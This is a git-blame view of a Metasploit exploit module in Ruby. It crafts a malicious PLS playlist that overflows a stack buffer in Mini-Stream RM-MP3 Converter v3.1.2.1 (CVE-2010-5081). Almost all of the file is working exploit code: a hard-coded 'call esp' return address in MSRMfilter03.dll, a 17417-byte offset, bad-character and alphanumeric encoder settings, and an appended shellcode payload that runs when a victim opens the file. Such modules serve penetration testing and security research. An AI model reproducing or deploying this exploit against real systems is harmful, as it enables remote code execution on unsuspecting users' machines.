Files
metasploit-gs/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb
T

86 lines
2.4 KiB
Ruby
Raw Normal View History

2011-11-14 01:49:26 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-11-14 01:49:26 -06:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = GreatRanking
2011-11-14 01:49:26 -06:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::FILEFORMAT
2011-11-14 01:49:26 -06:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Mini-Stream RM-MP3 Converter v3.1.2.1 PLS File Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3
Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim
opens the malicious PLS file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Madjix', # original discovery
'Tiago Henriques', # metasploit module
'James Fitts <fitts.james[at]gmail.com>' # clean ups
],
'References' =>
[
2018-07-09 13:22:08 -05:00
[ 'CVE', '2010-5081' ],
[ 'OSVDB', '78078' ],
2013-08-30 16:28:54 -05:00
[ 'EDB', '14373' ],
[ 'BID', '34514' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => true
2013-08-30 16:28:54 -05:00
},
'Payload' =>
{
'Space' => 1500,
'BadChars' => "\x00\x09\x0a",
'DisableNops' => 'True',
'StackAdjustment' => -3500,
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
[
'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',
{
'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll
'Offset' => 17417
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 16 2010',
'DefaultTarget' => 0))
2011-11-14 01:49:26 -06:00
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
])
2013-08-30 16:28:54 -05:00
end
2011-11-14 01:49:26 -06:00
2013-08-30 16:28:54 -05:00
def exploit
2011-11-14 01:49:26 -06:00
2013-08-30 16:28:54 -05:00
pls = "http://"
pls << rand_text_alpha_upper(target['Offset'])
pls << [target.ret].pack('V')
pls << rand_text_alpha_upper(8)
pls << payload.encoded
2011-11-14 01:49:26 -06:00
2013-08-30 16:28:54 -05:00
print_status("Creating '#{datastore['FILENAME']}' file ...")
2011-11-14 01:49:26 -06:00
2013-08-30 16:28:54 -05:00
file_create(pls)
2011-11-14 01:49:26 -06:00
2013-08-30 16:28:54 -05:00
end
2011-11-14 01:49:26 -06:00
end